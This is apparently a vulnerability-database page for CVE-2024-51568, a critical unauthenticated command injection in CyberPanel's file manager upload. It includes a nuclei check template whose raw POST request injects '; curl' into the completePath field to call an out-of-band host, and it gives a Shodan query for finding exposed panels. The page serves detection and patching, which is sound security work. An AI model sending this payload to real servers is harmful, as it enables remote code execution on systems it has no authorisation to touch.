HexBrain

Browse / CVEs / CVE-2024-51568

CVE-2024-51568· cyberpanel / cyberpanel· CWE-78

CyberPanel - Command Injection

criticalseverity
10CVSS score
47.7%likelihood of exploitation, next 30 days
99%of all CVEs are less likely
Readycheck to confirm it

CyberPanel (aka Cyber Panel) before 2.3.5 allows Command Injection via completePath in the ProcessUtilities.outputExecutioner() sink. There is /filemanager/upload (aka File Manager upload) unauthenticated remote code execution via shell metacharacters.

Impact

Attackers can exploit this vulnerability to compromise system security.

Fix

Apply security patches to address CVE-2024-51568.

How to confirm it

Send: GET / ; POST /filemanager/upload
Positive when: status_code == 200 and contains(interactsh_protocol, "dns") and contains_all(body, "status\":", "error_message\":")

Run it with nuclei: nuclei -id CVE-2024-51568 -u <target>

The full check
id: CVE-2024-51568

info:
  name: CyberPanel - Command Injection
  author: s4e-io
  severity: critical
  description: |
    CyberPanel (aka Cyber Panel) before 2.3.5 allows Command Injection via completePath in the ProcessUtilities.outputExecutioner() sink. There is /filemanager/upload (aka File Manager upload) unauthenticated remote code execution via shell metacharacters.
  impact: |
    Attackers can exploit this vulnerability to compromise system security.
  remediation: |
    Apply security patches to address CVE-2024-51568.
  reference:
    - https://www.rapid7.com/db/modules/exploit/unix/webapp/cyberpanel_preauth_rce_multi_cve/
    - https://dreyand.rs/code/review/2024/10/27/what-are-my-options-cyberpanel-v236-pre-auth-rce
    - https://nvd.nist.gov/vuln/detail/CVE-2024-51568
    - https://cyberpanel.net/blog/cyberpanel-v2-3-5
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cve-id: CVE-2024-51568
    cwe-id: CWE-78
    epss-score: 0.47674
    epss-percentile: 0.98858
  metadata:
    verified: true
    max-request: 2
    vendor: cyberpanel
    product: cyberpanel
    shodan-query: http.html:"login to your cyberpanel account"
  tags: cve,cve2024,cyberpanel,rce,intrusive,vkev,vuln

variables:
  boundary: "{{to_lower(rand_base(9))}}"
  filename: "{{to_lower(rand_text_alpha(5))}}"

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

      - |
        POST /filemanager/upload HTTP/1.1
        Host: {{Hostname}}
        X-CSRFToken: {{csrftoken}}
        Content-Type: multipart/form-data; boundary=----NewBoundary{{boundary}}

        ------NewBoundary{{boundary}}
        Content-Disposition: form-data; name="domainName"

        {{Hostname}}
        ------NewBoundary{{boundary}}
        Content-Disposition: form-data; name="completePath"

        ; curl -X POST http://{{interactsh-url}}
        ------NewBoundary{{boundary}}
        Content-Disposition: form-data; name="file"; filename="{{filename}}.txt"

        pwd
        ------NewBoundary{{boundary}}--

    matchers:
      - type: dsl
        dsl:
          - "status_code == 200"
          - 'contains(interactsh_protocol, "dns")'
          - 'contains_all(body, "status\":", "error_message\":")'
        condition: and

    extractors:
      - type: regex
        part: header
        name: csrftoken
        group: 1
        regex:
          - csrftoken=([A-Za-z0-9]+)
        internal: true

References

Use this check only on systems you are authorised to test. Where the data comes from